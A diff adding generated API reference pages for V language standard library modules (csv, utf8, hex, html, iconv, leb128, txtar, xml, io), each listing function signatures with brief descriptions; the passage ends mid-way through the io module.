+	mem_buf_size  i64     // size of the buffer
+	mem_buf_start i64 = -1 // start index in the file of the read buffer
+	mem_buf_end   i64 = -1 // end index in the file of the read buffer
+	// csv map for quick access
+	create_map_csv bool = true // flag to enable the csv map creation
+	csv_map        [][]i64
+	// header
+	header_row  int = -1 // row index of the header in the csv_map
+	header_list []HeaderItem   // list of the header item
+	header_map  map[string]int // map from header label to column index
+}
+```
+
+[[Return to contents]](#Contents)
+
+## dispose_csv_reader
+```v
+fn (mut cr RandomAccessReader) dispose_csv_reader()
+```
+
+dispose_csv_reader release the resources used by the csv_reader
+
+[[Return to contents]](#Contents)
+
+## copy_configuration
+```v
+fn (mut cr RandomAccessReader) copy_configuration(src_cr RandomAccessReader)
+```
+
+copy_configuration copies the configuration from another csv RandomAccessReader this function is a helper for using the RandomAccessReader in multi threaded applications pay attention to the free process
+
+[[Return to contents]](#Contents)
+
+## map_csv
+```v
+fn (mut cr RandomAccessReader) map_csv() !
+```
+
+map_csv create an index of whole csv file to consent random access to every cell in the file
+
+[[Return to contents]](#Contents)
+
+## get_row
+```v
+fn (mut cr RandomAccessReader) get_row(y int) ![]string
+```
+
+get_row get a row from the CSV file as a string array
+
+[[Return to contents]](#Contents)
+
+## get_cell
+```v
+fn (mut cr RandomAccessReader) get_cell(cfg GetCellConfig) !string
+```
+
+get_cell read a single cel nd return a string
+
+[[Return to contents]](#Contents)
+
+## get_cellt
+```v
+fn (mut cr RandomAccessReader) get_cellt(cfg GetCellConfig) !CellValue
+```
+
+get_cellt read a single cell and return a sum type CellValue
+
+[[Return to contents]](#Contents)
+
+## build_header_dict
+```v
+fn (mut cr RandomAccessReader) build_header_dict(cfg GetHeaderConf) !
+```
+
+build_header_dict infer the header, it use the first available row in not row number is passesd it try to infer the type of column using the first available row after the header By default all the column are of the string type
+
+[[Return to contents]](#Contents)
+
+## rows_count
+```v
+fn (mut cr RandomAccessReader) rows_count() !i64
+```
+
+rows_count count the rows in the csv between start_index and end_index
+
+[[Return to contents]](#Contents)
+
+## RandomAccessReaderConfig
+```v
+struct RandomAccessReaderConfig {
+pub:
+	scr_buf        voidptr // pointer to the buffer of data
+	scr_buf_len    i64     // if > 0 use the RAM pointed from scr_buf as source of data
+	file_path      string
+	start_index    i64
+	end_index      i64    = -1
+	mem_buf_size   int    = 1024 * 64 // default buffer size 64KByte
+	separator      u8     = `,`
+	comment        u8     = `#` // every line that start with the quote char is ignored
+	default_cell   string = '*' // return this string if out of the csv boundaries
+	empty_cell     string // return this string if empty cell
+	end_line_len   int = endline_cr_len // size of the endline rune
+	quote          u8  = `"`            // double quote is the standard quote char
+	quote_remove   bool // if true clear the cell from the quotes
+	create_map_csv bool = true // if true make the map of the csv file
+}
+```
+
+[[Return to contents]](#Contents)
+
+## ReaderConfig
+```v
+struct ReaderConfig {
+pub:
+	delimiter u8 = `,`
+	comment   u8 = `#`
+}
+```
+
+[[Return to contents]](#Contents)
+
+## SequentialReader
+```v
+struct SequentialReader {
+pub mut:
+	index i64
+
+	f              os.File
+	f_len          i64
+	is_bom_present bool
+
+	start_index i64
+	end_index   i64 = -1
+
+	end_line      u8  = `\n`
+	end_line_len  int = endline_cr_len // size of the endline rune \n = 1, \r\n = 2
+	separator     u8  = `,`            // comma is the default separator
+	separator_len int = 1              // size of the separator rune
+	quote         u8  = `"`            // double quote is the standard quote char
+
+	comment u8 = `#` // every line that start with the quote char is ignored
+
+	default_cell string = '*' // return this string if out of the csv boundaries
+	empty_cell   string = '#' // retunrn this if empty cell
+	// ram buffer
+	mem_buf_type  u32     // buffer type 0=File,1=RAM
+	mem_buf       voidptr // buffer used to load chars from file
+	mem_buf_size  i64     // size of the buffer
+	mem_buf_start i64 = -1 // start index in the file of the read buffer
+	mem_buf_end   i64 = -1 // end index in the file of the read buffer
+
+	ch_buf []u8 = []u8{cap: 1024}
+	// error management
+	row_count i64
+	col_count i64
+}
+```
+
+[[Return to contents]](#Contents)
+
+## dispose_csv_reader
+```v
+fn (mut cr SequentialReader) dispose_csv_reader()
+```
+
+dispose_csv_reader release the resources used by the csv_reader
+
+[[Return to contents]](#Contents)
+
+## has_data
+```v
+fn (mut cr SequentialReader) has_data() i64
+```
+
+has_data return the bytes available for future readings
+
+[[Return to contents]](#Contents)
+
+## get_next_row
+```v
+fn (mut cr SequentialReader) get_next_row() ![]string
+```
+
+get_next_row get the next row from the CSV file as a string array
+
+[[Return to contents]](#Contents)
+
+## SequentialReaderConfig
+```v
+struct SequentialReaderConfig {
+pub:
+	scr_buf      voidptr // pointer to the buffer of data
+	scr_buf_len  i64     // if > 0 use the RAM pointed by scr_buf as source of data
+	file_path    string
+	start_index  i64
+	end_index    i64    = -1
+	mem_buf_size int    = 1024 * 64 // default buffer size 64KByte
+	separator    u8     = `,`
+	comment      u8     = `#` // every line that start with the comment char is ignored
+	default_cell string = '*' // return this string if out of the csv boundaries
+	empty_cell   string // return this string if empty cell
+	end_line_len int = endline_cr_len // size of the endline rune
+	quote        u8  = `"`            // double quote is the standard quote char
+}
+```
+
+[[Return to contents]](#Contents)
+
+## WriterConfig
+```v
+struct WriterConfig {
+pub:
+	use_crlf  bool
+	delimiter u8 = `,`
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/encoding.utf8.east_asian.md

@@ -0,0 +1,43 @@
+# module encoding.utf8.east_asian
+
+
+## Contents
+- [display_width](#display_width)
+- [east_asian_width_property_at](#east_asian_width_property_at)
+- [EastAsianWidthProperty](#EastAsianWidthProperty)
+
+## display_width
+```v
+fn display_width(s string, ambiguous_width int) int
+```
+
+display_width return the display width as number of unicode chars from a string.
+
+[[Return to contents]](#Contents)
+
+## east_asian_width_property_at
+```v
+fn east_asian_width_property_at(s string, index int) EastAsianWidthProperty
+```
+
+width_property_at returns the East Asian Width properties at string[index]
+
+[[Return to contents]](#Contents)
+
+## EastAsianWidthProperty
+```v
+enum EastAsianWidthProperty {
+	full
+	half
+	wide
+	narrow
+	ambiguous
+	neutral
+}
+```
+
+EastAsianWidthType represents East_Asian_Width informative prorperty
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/encoding.utf8.validate.md

@@ -0,0 +1,26 @@
+# module encoding.utf8.validate
+
+
+## Contents
+- [utf8_data](#utf8_data)
+- [utf8_string](#utf8_string)
+
+## utf8_data
+```v
+fn utf8_data(data &u8, len int) bool
+```
+
+utf8_data returns true, if the given `data` block, with length `len` bytes, consists only of valid UTF-8 runes
+
+[[Return to contents]](#Contents)
+
+## utf8_string
+```v
+fn utf8_string(s string) bool
+```
+
+utf8_string returns true, if the given string `s` consists only of valid UTF-8 runes
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/hex.md

@@ -0,0 +1,26 @@
+# module hex
+
+
+## Contents
+- [decode](#decode)
+- [encode](#encode)
+
+## decode
+```v
+fn decode(s string) ![]u8
+```
+
+decode converts a hex string into an array of bytes. The expected input format is 2 ASCII characters for each output byte. If the provided string length is not a multiple of 2, an implicit `0` is prepended to it.
+
+[[Return to contents]](#Contents)
+
+## encode
+```v
+fn encode(bytes []u8) string
+```
+
+encode converts an array of bytes into a string of ASCII hex bytes. The output will always be a string with length a multiple of 2.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/html.md

@@ -0,0 +1,49 @@
+# module html
+
+
+## Contents
+- [escape](#escape)
+- [unescape](#unescape)
+- [EscapeConfig](#EscapeConfig)
+- [UnescapeConfig](#UnescapeConfig)
+
+## escape
+```v
+fn escape(input string, config EscapeConfig) string
+```
+
+escape converts special characters in the input, specifically "<", ">", and "&" to HTML-safe sequences. If `quote` is set to true (which is default), quotes in HTML will also be translated. Both double and single quotes will be affected. **Note:** escape() supports funky accents by doing nothing about them. V's UTF-8 support through `string` is robust enough to deal with these cases.
+
+[[Return to contents]](#Contents)
+
+## unescape
+```v
+fn unescape(input string, config UnescapeConfig) string
+```
+
+unescape converts entities like "&lt;" to "<". By default it is the converse of `escape`. If `all` is set to true, it handles named, numeric, and hex values - for example, `'&apos;'`, `'&#39;'`, and `'&#x27;'` then unescape to "'".
+
+[[Return to contents]](#Contents)
+
+## EscapeConfig
+```v
+struct EscapeConfig {
+pub:
+	quote bool = true
+}
+```
+
+[[Return to contents]](#Contents)
+
+## UnescapeConfig
+```v
+struct UnescapeConfig {
+	EscapeConfig
+pub:
+	all bool
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/iconv.md

@@ -0,0 +1,66 @@
+# module iconv
+
+
+## Contents
+- [create_utf_string_with_bom](#create_utf_string_with_bom)
+- [encoding_to_vstring](#encoding_to_vstring)
+- [read_file_encoding](#read_file_encoding)
+- [remove_utf_string_with_bom](#remove_utf_string_with_bom)
+- [vstring_to_encoding](#vstring_to_encoding)
+- [write_file_encoding](#write_file_encoding)
+
+## create_utf_string_with_bom
+```v
+fn create_utf_string_with_bom(src []u8, utf_type string) []u8
+```
+
+create_utf_string_with_bom will create a utf8/utf16/utf32 string with BOM header for utf8, it will prepend 0xEFBBBF to the `src` for utf16le, it will prepend 0xFFFE to the `src` for utf16be, it will prepend 0xFEFF to the `src` for utf32le, it will prepend 0xFFFE0000 to the `src` for utf32be, it will prepend 0x0000FEFF to the `src`
+
+[[Return to contents]](#Contents)
+
+## encoding_to_vstring
+```v
+fn encoding_to_vstring(bytes []u8, fromcode string) !string
+```
+
+encoding_to_vstring converts the given `bytes` using `fromcode` encoding, to a V string (encoded with UTF-8) tips: use `iconv --list` check for supported encodings
+
+[[Return to contents]](#Contents)
+
+## read_file_encoding
+```v
+fn read_file_encoding(path string, encoding string) !string
+```
+
+read_file_encoding reads the file in `path` with `encoding` and returns the contents
+
+[[Return to contents]](#Contents)
+
+## remove_utf_string_with_bom
+```v
+fn remove_utf_string_with_bom(src []u8, utf_type string) []u8
+```
+
+remove_utf_string_with_bom will remove a utf8/utf16/utf32 string's BOM header for utf8, it will remove 0xEFBBBF from the `src` for utf16le, it will remove 0xFFFE from the `src` for utf16be, it will remove 0xFEFF from the `src` for utf32le, it will remove 0xFFFE0000 from the `src` for utf32be, it will remove 0x0000FEFF from the `src`
+
+[[Return to contents]](#Contents)
+
+## vstring_to_encoding
+```v
+fn vstring_to_encoding(str string, tocode string) ![]u8
+```
+
+vstring_to_encoding convert V string `str` to `tocode` encoding string tips: use `iconv --list` check for supported encodings
+
+[[Return to contents]](#Contents)
+
+## write_file_encoding
+```v
+fn write_file_encoding(path string, text string, encoding string, bom bool) !
+```
+
+write_file_encoding write_file convert `text` into `encoding` and writes to a file with the given `path`. If `path` already exists, it will be overwritten. For `encoding` in UTF8/UTF16/UTF32, if `bom` is true, then a BOM header will write to the file.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/leb128.md

@@ -0,0 +1,86 @@
+# module leb128
+
+
+## Contents
+- [decode_i32](#decode_i32)
+- [decode_i64](#decode_i64)
+- [decode_u32](#decode_u32)
+- [decode_u64](#decode_u64)
+- [encode_i32](#encode_i32)
+- [encode_i64](#encode_i64)
+- [encode_u32](#encode_u32)
+- [encode_u64](#encode_u64)
+
+## decode_i32
+```v
+fn decode_i32(value []u8) (i32, int)
+```
+
+decode_i32 decodes an i32 and returns the number of bytes used from the given leb128 encoded array `value`
+
+[[Return to contents]](#Contents)
+
+## decode_i64
+```v
+fn decode_i64(value []u8) (i64, int)
+```
+
+decode_i64 decodes an i64 and returns the number of bytes used from the given leb128 encoded array `value`
+
+[[Return to contents]](#Contents)
+
+## decode_u32
+```v
+fn decode_u32(value []u8) (u32, int)
+```
+
+decode_u32 decodes an u32 and returns the number of bytes used from the given leb128 encoded array `value`
+
+[[Return to contents]](#Contents)
+
+## decode_u64
+```v
+fn decode_u64(value []u8) (u64, int)
+```
+
+decode_u64 decodes an u64 and returns the number of bytes used from the given leb128 encoded array `value`
+
+[[Return to contents]](#Contents)
+
+## encode_i32
+```v
+fn encode_i32(value i32) []u8
+```
+
+encode_i32 encodes the `value` as leb128 encoded byte array
+
+[[Return to contents]](#Contents)
+
+## encode_i64
+```v
+fn encode_i64(value i64) []u8
+```
+
+encode_i64 encodes the `value` as leb128 encoded byte array
+
+[[Return to contents]](#Contents)
+
+## encode_u32
+```v
+fn encode_u32(value u32) []u8
+```
+
+encode_u32 encodes the `value` as leb128 encoded byte array
+
+[[Return to contents]](#Contents)
+
+## encode_u64
+```v
+fn encode_u64(value u64) []u8
+```
+
+encode_u64 encodes the `value` as leb128 encoded byte array
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/txtar.md

@@ -0,0 +1,94 @@
+# module txtar
+
+
+## Contents
+- [pack](#pack)
+- [parse](#parse)
+- [parse_file](#parse_file)
+- [unpack](#unpack)
+- [Archive](#Archive)
+  - [str](#str)
+  - [unpack_to](#unpack_to)
+- [File](#File)
+
+## pack
+```v
+fn pack(path string, comment string) !Archive
+```
+
+pack will create a txtar archive, given a path. When the path is a folder, it will walk over all files in that base folder, read their contents and create a File entry for each. When the path is a file, it will create an Archive, that contains just a single File entry, for that single file.
+
+[[Return to contents]](#Contents)
+
+## parse
+```v
+fn parse(content string) Archive
+```
+
+parse parses the serialized form of an Archive. The returned Archive holds slices of data.
+
+[[Return to contents]](#Contents)
+
+## parse_file
+```v
+fn parse_file(file_path string) !Archive
+```
+
+parse_file parses the given `file_path` as an archive. It will return an error, only if the `file_path` is not readable. See the README.md, or the test txtar_test.v, for a description of the format.
+
+[[Return to contents]](#Contents)
+
+## unpack
+```v
+fn unpack(a &Archive, path string) !
+```
+
+unpack will extract *all files* in the archive `a`, into the base folder `path`. Note that all file paths will be appended to the base folder `path`, i.e. if you have a File with `path` field == 'abc/def/x.v', and base folder path == '/tmp', then the final path for that File, will be '/tmp/abc/def/x.v' Note that unpack will try to create any of the intermediate folders like /tmp, /tmp/abc, /tmp/abc/def, if they do not already exist.
+
+[[Return to contents]](#Contents)
+
+## Archive
+```v
+struct Archive {
+pub mut:
+	comment string // the start of the archive; contains potentially multiple lines, before the files
+	files   []File // a series of files
+}
+```
+
+Archive is a collection of files
+
+[[Return to contents]](#Contents)
+
+## str
+```v
+fn (a &Archive) str() string
+```
+
+str returns a string representation of the `a` Archive. It is suitable for storing in a text file. It is also in the same format, that txtar.parse/1 expects.
+
+[[Return to contents]](#Contents)
+
+## unpack_to
+```v
+fn (a &Archive) unpack_to(path string) !
+```
+
+unpack_to extracts the content of the archive `a`, into the folder `path`.
+
+[[Return to contents]](#Contents)
+
+## File
+```v
+struct File {
+pub mut:
+	path    string // 'abc/def.v' from the `-- abc/def.v --` header
+	content string // everything after that, till the next `-- name --` line.
+}
+```
+
+File is a single file in an Archive. Each starting with a `-- FILENAME --` line.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/utf8.md

@@ -0,0 +1,170 @@
+# module utf8
+
+
+## Contents
+- [get_rune](#get_rune)
+- [is_control](#is_control)
+- [is_global_punct](#is_global_punct)
+- [is_letter](#is_letter)
+- [is_number](#is_number)
+- [is_punct](#is_punct)
+- [is_rune_global_punct](#is_rune_global_punct)
+- [is_rune_punct](#is_rune_punct)
+- [is_space](#is_space)
+- [len](#len)
+- [raw_index](#raw_index)
+- [reverse](#reverse)
+- [to_lower](#to_lower)
+- [to_upper](#to_upper)
+- [validate](#validate)
+- [validate_str](#validate_str)
+
+## get_rune
+```v
+fn get_rune(s string, index int) rune
+```
+
+get_rune convert a UTF-8 unicode codepoint in string[index] into a UTF-32 encoded rune
+
+[[Return to contents]](#Contents)
+
+## is_control
+```v
+fn is_control(r rune) bool
+```
+
+is_control return true if the rune is control code
+
+[[Return to contents]](#Contents)
+
+## is_global_punct
+```v
+fn is_global_punct(s string, index int) bool
+```
+
+is_global_punct return true if the string[index] byte of is the start of a global unicode punctuation
+
+[[Return to contents]](#Contents)
+
+## is_letter
+```v
+fn is_letter(r rune) bool
+```
+
+is_letter returns true if the rune is unicode letter or in unicode category L
+
+[[Return to contents]](#Contents)
+
+## is_number
+```v
+fn is_number(r rune) bool
+```
+
+is_number returns true if the rune is unicode number or in unicode category N
+
+[[Return to contents]](#Contents)
+
+## is_punct
+```v
+fn is_punct(s string, index int) bool
+```
+
+is_punct return true if the string[index] byte is the start of a unicode western punctuation
+
+[[Return to contents]](#Contents)
+
+## is_rune_global_punct
+```v
+fn is_rune_global_punct(r rune) bool
+```
+
+is_rune_global_punct return true if the input unicode is a global unicode punctuation
+
+[[Return to contents]](#Contents)
+
+## is_rune_punct
+```v
+fn is_rune_punct(r rune) bool
+```
+
+is_rune_punct return true if the input unicode is a western unicode punctuation
+
+[[Return to contents]](#Contents)
+
+## is_space
+```v
+fn is_space(r rune) bool
+```
+
+is_space returns true if the rune is character in unicode category Z with property white space or the following character set:
+```
+`\t`, `\n`, `\v`, `\f`, `\r`, ` `, 0x85 (NEL), 0xA0 (NBSP)
+```
+
+
+[[Return to contents]](#Contents)
+
+## len
+```v
+fn len(s string) int
+```
+
+len return the length as number of unicode chars from a string
+
+[[Return to contents]](#Contents)
+
+## raw_index
+```v
+fn raw_index(s string, index int) string
+```
+
+raw_index - get the raw unicode character from the UTF-8 string by the given index value as UTF-8 string. example: utf8.raw_index('我是V Lang', 1) => '是'
+
+[[Return to contents]](#Contents)
+
+## reverse
+```v
+fn reverse(s string) string
+```
+
+reverse - returns a reversed string. example: utf8.reverse('你好世界hello world') => 'dlrow olleh界世好你'.
+
+[[Return to contents]](#Contents)
+
+## to_lower
+```v
+fn to_lower(s string) string
+```
+
+to_lower return an lowercase string from a string
+
+[[Return to contents]](#Contents)
+
+## to_upper
+```v
+fn to_upper(s string) string
+```
+
+to_upper return an uppercase string from a string
+
+[[Return to contents]](#Contents)
+
+## validate
+```v
+fn validate(data &u8, len int) bool
+```
+
+validate reports if data consists of valid UTF-8 runes
+
+[[Return to contents]](#Contents)
+
+## validate_str
+```v
+fn validate_str(str string) bool
+```
+
+validate_str reports if str consists of valid UTF-8 runes
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/xml.md

@@ -0,0 +1,329 @@
+# module xml
+
+
+## Contents
+- [Constants](#Constants)
+- [escape_text](#escape_text)
+- [parse_single_node](#parse_single_node)
+- [unescape_text](#unescape_text)
+- [XMLDocument.from_file](#XMLDocument.from_file)
+- [XMLDocument.from_reader](#XMLDocument.from_reader)
+- [XMLDocument.from_string](#XMLDocument.from_string)
+- [DTDListItem](#DTDListItem)
+- [XMLNodeContents](#XMLNodeContents)
+- [DTDElement](#DTDElement)
+- [DTDEntity](#DTDEntity)
+- [DocumentType](#DocumentType)
+- [DocumentTypeDefinition](#DocumentTypeDefinition)
+- [EscapeConfig](#EscapeConfig)
+- [UnescapeConfig](#UnescapeConfig)
+- [XMLCData](#XMLCData)
+- [XMLComment](#XMLComment)
+- [XMLDocument](#XMLDocument)
+  - [get_element_by_id](#get_element_by_id)
+  - [get_elements_by_attribute](#get_elements_by_attribute)
+  - [get_elements_by_tag](#get_elements_by_tag)
+  - [pretty_str](#pretty_str)
+  - [str](#str)
+  - [validate](#validate)
+- [XMLNode](#XMLNode)
+  - [get_element_by_id](#get_element_by_id)
+  - [get_elements_by_attribute](#get_elements_by_attribute)
+  - [get_elements_by_tag](#get_elements_by_tag)
+  - [pretty_str](#pretty_str)
+
+## Constants
+```v
+const default_entities = {
+	'lt':   '<'
+	'gt':   '>'
+	'amp':  '&'
+	'apos': "'"
+	'quot': '"'
+}
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const default_entities_reverse = {
+	'<': 'lt'
+	'>': 'gt'
+	'&': 'amp'
+	"'": 'apos'
+	'"': 'quot'
+}
+```
+
+[[Return to contents]](#Contents)
+
+## escape_text
+```v
+fn escape_text(content string, config EscapeConfig) string
+```
+
+escape_text replaces all entities in the given string with their respective XML entity strings. See default_entities, which can be overridden.
+
+[[Return to contents]](#Contents)
+
+## parse_single_node
+```v
+fn parse_single_node(first_char u8, mut reader io.Reader) !XMLNode
+```
+
+parse_single_node parses a single XML node from the reader. The first character of the tag is passed in as the first_char parameter. This function is meant to assist in parsing nested nodes one at a time. Using this function as opposed to the recommended static functions makes it easier to parse smaller nodes in extremely large XML documents without running out of memory.
+
+[[Return to contents]](#Contents)
+
+## unescape_text
+```v
+fn unescape_text(content string, config UnescapeConfig) !string
+```
+
+unescape_text replaces all entities in the given string with their respective original characters or strings. See default_entities_reverse, which can be overridden.
+
+[[Return to contents]](#Contents)
+
+## XMLDocument.from_file
+```v
+fn XMLDocument.from_file(path string) !XMLDocument
+```
+
+XMLDocument.from_file parses an XML document from a file. Note that the file is read in its entirety and then parsed. If the file is too large, try using the XMLDocument.from_reader function instead.
+
+[[Return to contents]](#Contents)
+
+## XMLDocument.from_reader
+```v
+fn XMLDocument.from_reader(mut reader io.Reader) !XMLDocument
+```
+
+XMLDocument.from_reader parses an XML document from a reader. This is the most generic way to parse an XML document from any arbitrary source that implements that io.Reader interface.
+
+[[Return to contents]](#Contents)
+
+## XMLDocument.from_string
+```v
+fn XMLDocument.from_string(raw_contents string) !XMLDocument
+```
+
+XMLDocument.from_string parses an XML document from a string.
+
+[[Return to contents]](#Contents)
+
+## DTDListItem
+```v
+type DTDListItem = DTDElement | DTDEntity
+```
+
+[[Return to contents]](#Contents)
+
+## XMLNodeContents
+```v
+type XMLNodeContents = XMLCData | XMLComment | XMLNode | string
+```
+
+[[Return to contents]](#Contents)
+
+## DTDElement
+```v
+struct DTDElement {
+pub:
+	name       string   @[required]
+	definition []string @[required]
+}
+```
+
+[[Return to contents]](#Contents)
+
+## DTDEntity
+```v
+struct DTDEntity {
+pub:
+	name  string @[required]
+	value string @[required]
+}
+```
+
+[[Return to contents]](#Contents)
+
+## DocumentType
+```v
+struct DocumentType {
+pub:
+	name string @[required]
+	dtd  DTDInfo
+}
+```
+
+[[Return to contents]](#Contents)
+
+## DocumentTypeDefinition
+```v
+struct DocumentTypeDefinition {
+pub:
+	name string
+	list []DTDListItem
+}
+```
+
+[[Return to contents]](#Contents)
+
+## EscapeConfig
+```v
+struct EscapeConfig {
+pub:
+	reverse_entities map[string]string = default_entities_reverse
+}
+```
+
+[[Return to contents]](#Contents)
+
+## UnescapeConfig
+```v
+struct UnescapeConfig {
+pub:
+	entities map[string]string = default_entities
+}
+```
+
+[[Return to contents]](#Contents)
+
+## XMLCData
+```v
+struct XMLCData {
+pub:
+	text string @[required]
+}
+```
+
+[[Return to contents]](#Contents)
+
+## XMLComment
+```v
+struct XMLComment {
+pub:
+	text string @[required]
+}
+```
+
+[[Return to contents]](#Contents)
+
+## XMLDocument
+```v
+struct XMLDocument {
+	Prolog
+pub:
+	root XMLNode @[required]
+}
+```
+
+XMLDocument is the struct that represents a single XML document. It contains the prolog and the single root node. The prolog struct is embedded into the XMLDocument struct, so that the prolog fields are accessible directly from the this struct. Public prolog fields include version, enccoding, comments preceding the root node, and the document type definition.
+
+[[Return to contents]](#Contents)
+
+## get_element_by_id
+```v
+fn (doc XMLDocument) get_element_by_id(id string) ?XMLNode
+```
+
+get_element_by_id returns the first element with the given id, or none if no such element exists.
+
+[[Return to contents]](#Contents)
+
+## get_elements_by_attribute
+```v
+fn (doc XMLDocument) get_elements_by_attribute(attribute string, value string) []XMLNode
+```
+
+get_elements_by_attribute returns all elements with the given attribute-value pair. If there are no such elements, an empty array is returned.
+
+[[Return to contents]](#Contents)
+
+## get_elements_by_tag
+```v
+fn (doc XMLDocument) get_elements_by_tag(tag string) []XMLNode
+```
+
+get_elements_by_tag returns all elements with the given tag name. If there are no such elements, an empty array is returned.
+
+[[Return to contents]](#Contents)
+
+## pretty_str
+```v
+fn (doc XMLDocument) pretty_str(indent string) string
+```
+
+pretty_str returns a pretty-printed version of the XML document. It requires the string used to indent each level of the document.
+
+[[Return to contents]](#Contents)
+
+## str
+```v
+fn (doc XMLDocument) str() string
+```
+
+str returns a string representation of the XML document. It uses a 2-space indentation to pretty-print the document.
+
+[[Return to contents]](#Contents)
+
+## validate
+```v
+fn (doc XMLDocument) validate() !XMLDocument
+```
+
+validate checks the document is well-formed and valid. It returns a new document with the parsed entities expanded when validation is successful. Otherwise it returns an error.
+
+[[Return to contents]](#Contents)
+
+## XMLNode
+```v
+struct XMLNode {
+pub:
+	name       string @[required]
+	attributes map[string]string
+	children   []XMLNodeContents
+}
+```
+
+XMLNode represents a single XML node. It contains the node name, a map of attributes, and a list of children. The children can be other XML nodes, CDATA, plain text, or comments.
+
+[[Return to contents]](#Contents)
+
+## get_element_by_id
+```v
+fn (node XMLNode) get_element_by_id(id string) ?XMLNode
+```
+
+get_element_by_id returns the first element with the given id, or none if no such element exists in the subtree rooted at this node.
+
+[[Return to contents]](#Contents)
+
+## get_elements_by_attribute
+```v
+fn (node XMLNode) get_elements_by_attribute(attribute string, value string) []XMLNode
+```
+
+get_elements_by_attribute returns all elements with the given attribute-value pair in the subtree rooted at this node. If there are no such elements, an empty array is returned.
+
+[[Return to contents]](#Contents)
+
+## get_elements_by_tag
+```v
+fn (node XMLNode) get_elements_by_tag(tag string) []XMLNode
+```
+
+get_elements_by_tag returns all elements with the given tag name in the subtree rooted at this node. If there are no such elements, an empty array is returned.
+
+[[Return to contents]](#Contents)
+
+## pretty_str
+```v
+fn (node XMLNode) pretty_str(original_indent string, depth int, reverse_entities map[string]string) string
+```
+
+pretty_str returns a pretty-printed version of the XML node. It requires the current indentation the node is at, the depth of the node in the tree, and a map of reverse entities to use when escaping text.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/io/io.md

@@ -0,0 +1,419 @@
+# module io
+
+
+## Contents
+- [Constants](#Constants)
+- [cp](#cp)
+- [make_readerwriter](#make_readerwriter)
+- [new_buffered_reader](#new_buffered_reader)
+- [new_buffered_writer](#new_buffered_writer)
+- [new_multi_writer](#new_multi_writer)
+- [read_all](#read_all)
+- [read_any](#read_any)
+- [RandomReader](#RandomReader)
+- [RandomWriter](#RandomWriter)
+- [Reader](#Reader)
+- [ReaderWriter](#ReaderWriter)
+- [Writer](#Writer)
+- [ReaderWriterImpl](#ReaderWriterImpl)
+  - [read](#read)
+  - [write](#write)
+- [BufferedReadLineConfig](#BufferedReadLineConfig)
+- [BufferedReader](#BufferedReader)
+  - [read](#read)
+  - [free](#free)
+  - [end_of_stream](#end_of_stream)
+  - [read_line](#read_line)
+- [BufferedReaderConfig](#BufferedReaderConfig)
+- [BufferedWriter](#BufferedWriter)
+  - [reset](#reset)
+  - [buffered](#buffered)
+  - [flush](#flush)
+  - [available](#available)
+  - [write](#write)
+- [BufferedWriterConfig](#BufferedWriterConfig)
+- [CopySettings](#CopySettings)
+- [Eof](#Eof)
+- [MultiWriter](#MultiWriter)
+  - [write](#write)
+- [NotExpected](#NotExpected)
+- [ReadAllConfig](#ReadAllConfig)
+
+## Constants
+```v
+const read_all_len = 10 * 1024
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const read_all_grow_len = 1024
+```
+
+[[Return to contents]](#Contents)
+
+## cp
+```v
+fn cp(mut src Reader, mut dst Writer, params CopySettings) !
+```
+
+cp copies from `src` to `dst` by allocating a maximum of 1024 bytes buffer for reading until either EOF is reached on `src` or an error occurs. An error is returned if an error is encountered during write.
+
+[[Return to contents]](#Contents)
+
+## make_readerwriter
+```v
+fn make_readerwriter(r Reader, w Writer) ReaderWriterImpl
+```
+
+make_readerwriter takes a rstream and a wstream and makes an rwstream with them.
+
+[[Return to contents]](#Contents)
+
+## new_buffered_reader
+```v
+fn new_buffered_reader(o BufferedReaderConfig) &BufferedReader
+```
+
+new_buffered_reader creates a new BufferedReader.
+
+[[Return to contents]](#Contents)
+
+## new_buffered_writer
+```v
+fn new_buffered_writer(o BufferedWriterConfig) !&BufferedWriter
+```
+
+new_buffered_writer creates a new BufferedWriter with the specified BufferedWriterConfig. Returns an error when cap is 0 or negative.
+
+[[Return to contents]](#Contents)
+
+## new_multi_writer
+```v
+fn new_multi_writer(writers ...Writer) Writer
+```
+
+new_multi_writer returns a Writer that writes to all writers. The write function of the returned Writer writes to all writers of the MultiWriter, returns the length of bytes written, and if any writer fails to write the full length an error is returned and writing to other writers stops, and if any writer returns an error the error is returned immediately and writing to other writers stops.
+
+[[Return to contents]](#Contents)
+
+## read_all
+```v
+fn read_all(config ReadAllConfig) ![]u8
+```
+
+read_all reads all bytes from a reader until either a 0 length read or if read_to_end_of_stream is true then the end of the stream (`none`).
+
+[[Return to contents]](#Contents)
+
+## read_any
+```v
+fn read_any(mut r Reader) ![]u8
+```
+
+read_any reads any available bytes from a reader (until the reader returns a read of 0 length).
+
+[[Return to contents]](#Contents)
+
+## RandomReader
+```v
+interface RandomReader {
+	read_from(pos u64, mut buf []u8) !int
+}
+```
+
+RandomReader represents a stream of readable data from at a random location.
+
+[[Return to contents]](#Contents)
+
+## RandomWriter
+```v
+interface RandomWriter {
+	write_to(pos u64, buf []u8) !int
+}
+```
+
+RandomWriter is the interface that wraps the `write_to` method, which writes `buf.len` bytes to the underlying data stream at a random `pos`.
+
+[[Return to contents]](#Contents)
+
+## Reader
+```v
+interface Reader {
+	// read reads up to buf.len bytes and places
+	// them into buf.
+	// A type that implements this should return
